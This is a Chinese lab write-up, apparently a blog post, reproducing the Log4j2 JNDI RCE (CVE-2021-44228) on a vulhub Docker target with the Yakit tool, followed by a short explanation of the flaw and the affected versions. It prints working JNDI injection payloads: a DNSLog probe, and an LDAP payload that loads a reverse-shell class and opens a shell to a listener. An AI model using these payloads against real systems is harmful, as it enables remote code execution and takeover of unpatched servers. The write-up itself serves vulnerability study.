通过Yakit单兵作战工具进行log4j2 RCE漏洞复现(CVE-2021-44228)

一,靶场搭建

在家庭局域网的另一条Ubuntu24笔记本中,使用vulhub靶场搭建,首先下载vulhub,解压并进入目录/vulhub/log4j/CVE-2021-44228中,执行docker启动命令

docker compose up -d

宝塔查看靶场信息

在这里插入图片描述

接下来我们直接访问靶机ip的 8993 端口即可看到靶场

在这里插入图片描述

二,漏洞验证

首先使用 Yakit的DNSLog 平台获取一个子域名

这里获取到的子域名为:ykbdqepxgy.dgrh3.cn

在这里插入图片描述

使用该子域名,我们构造 payload:

${jndi:ldap://ykbdqepxgy.dgrh3.cn}

在目标网站,找到注入点

在这里插入图片描述

点击Add Core后,Logging会增加error日志,从而触发漏洞。

DNSLog出现反连,漏洞验证成功,这里存在log4j2 远程代码执行漏洞

在这里插入图片描述

三,漏洞利用

在Yakit中,开启端口监听器,输入本机IP,和监听端口,这里设为4445,点击启动监听

在这里插入图片描述

便于后续连接反射shell

再打开一个反连服务器,设置本机IP,默认端口即可,设置payload,为恶意类,TcpReverseShell,反连主机和反连端口和刚才设置的监听器,保持一致。

在这里插入图片描述

复制上面的 ldap://192.168.0.104:4444/TqduOHDq构造新的payload

${jndi:ldap://192.168.0.104:4444/TqduOHDq}

返回网站的注入点,重复验证的步骤,注入payload

在这里插入图片描述

提交后,点击左侧的Logging显示报错日志,注入成功

在这里插入图片描述

返回Yakit的反连服务器,可以观察到反连信息

在这里插入图片描述

返回端口监听器,连接成功

在这里插入图片描述

这里注意要把 原始模式 取消,不然传入的命令无法正常执行,可能是一个小BUG,执行ls命令成功

在这里插入图片描述

漏洞复现成功

四,原理分析

这个漏洞的核心是Java Naming and Directory Interface(JNDI)注入攻击,Log4j2在处理日志消息时,会自动解析其中的特定格式字符串,包括${}中的表达式。例如,${env:VAR}可以用来输出环境变量VAR的值。这种功能本身是为了方便开发人员获取动态内容。

然而,Log4j2也支持通过JNDI从远程服务器获取数据。这意味着,如果日志消息中包含类似${jndi:ldap://example.com/a}的字符串,Log4j2会尝试通过JNDI从ldap://example.com/a获取数据。

由于JNDI查找可以通过多种协议(如LDAP、RMI、DNS等)访问远程服务器,这个漏洞允许攻击者通过在日志消息中嵌入恶意的JNDI查找字符串,远程执行任意代码(RCE),从而完全控制受影响的系统。

从网上找了个图

五,影响版本

受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

此外对于java版本的要求

在这里插入图片描述

如果想要自己在本地通过java代码复现漏洞一定要注意java版本,在这里踩了几天的坑。

  • 14
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值